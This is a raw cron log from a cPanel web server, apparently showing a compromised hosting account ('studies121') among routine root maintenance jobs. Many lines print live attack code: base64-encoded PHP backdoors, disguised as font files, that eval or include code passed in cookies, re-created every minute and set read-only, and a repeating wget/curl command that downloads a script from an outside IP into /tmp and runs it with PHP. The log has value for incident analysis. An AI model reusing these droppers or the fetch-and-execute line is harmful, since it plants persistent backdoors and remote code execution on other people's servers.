Feb 22 15:55:01 ip-184-168-122-23 CROND[17238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:55:01 ip-184-168-122-23 CROND[17239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:55:01 ip-184-168-122-23 CROND[17244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:55:01 ip-184-168-122-23 CROND[17240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:55:01 ip-184-168-122-23 CROND[17242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:55:01 ip-184-168-122-23 CROND[17245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:56:01 ip-184-168-122-23 CROND[17695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:56:01 ip-184-168-122-23 CROND[17698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:56:01 ip-184-168-122-23 CROND[17697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:56:01 ip-184-168-122-23 CROND[17700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:56:01 ip-184-168-122-23 CROND[17699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:57:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:57:01 ip-184-168-122-23 CROND[18041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:57:01 ip-184-168-122-23 CROND[18044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:57:01 ip-184-168-122-23 CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:58:01 ip-184-168-122-23 CROND[18381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:58:01 ip-184-168-122-23 CROND[18384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:58:01 ip-184-168-122-23 CROND[18383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:58:01 ip-184-168-122-23 CROND[18385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:58:01 ip-184-168-122-23 CROND[18386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:59:01 ip-184-168-122-23 CROND[18751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:59:01 ip-184-168-122-23 CROND[18753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:59:01 ip-184-168-122-23 CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:59:01 ip-184-168-122-23 CROND[18755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:00:01 ip-184-168-122-23 CROND[19100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19103]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:00:01 ip-184-168-122-23 CROND[19109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:00:01 ip-184-168-122-23 CROND[19105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:01:01 ip-184-168-122-23 CROND[19449]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 16:01:01 ip-184-168-122-23 CROND[19451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:01:01 ip-184-168-122-23 CROND[19453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:01:01 ip-184-168-122-23 CROND[19454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:01:01 ip-184-168-122-23 CROND[19450]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 16:01:01 ip-184-168-122-23 CROND[19458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19450]: starting 0anacron
Feb 22 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19470]: finished 0anacron
Feb 22 16:02:01 ip-184-168-122-23 CROND[19868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:02:01 ip-184-168-122-23 CROND[19870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:02:01 ip-184-168-122-23 CROND[19871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:02:01 ip-184-168-122-23 CROND[19872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:02:01 ip-184-168-122-23 CROND[19873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:03:01 ip-184-168-122-23 CROND[20191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:03:01 ip-184-168-122-23 CROND[20193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:03:01 ip-184-168-122-23 CROND[20192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:03:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:04:01 ip-184-168-122-23 CROND[20515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:04:01 ip-184-168-122-23 CROND[20517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:04:01 ip-184-168-122-23 CROND[20519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:04:01 ip-184-168-122-23 CROND[20518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:04:01 ip-184-168-122-23 CROND[20520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:05:01 ip-184-168-122-23 CROND[20866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:05:01 ip-184-168-122-23 CROND[20868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:05:01 ip-184-168-122-23 CROND[20869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:05:01 ip-184-168-122-23 CROND[20871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:05:01 ip-184-168-122-23 CROND[20872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:05:01 ip-184-168-122-23 CROND[20873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:05:01 ip-184-168-122-23 CROND[20874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 16:06:01 ip-184-168-122-23 CROND[21198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:06:01 ip-184-168-122-23 CROND[21201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:06:01 ip-184-168-122-23 CROND[21199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:06:01 ip-184-168-122-23 CROND[21205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:06:01 ip-184-168-122-23 CROND[21206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:07:01 ip-184-168-122-23 CROND[21556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
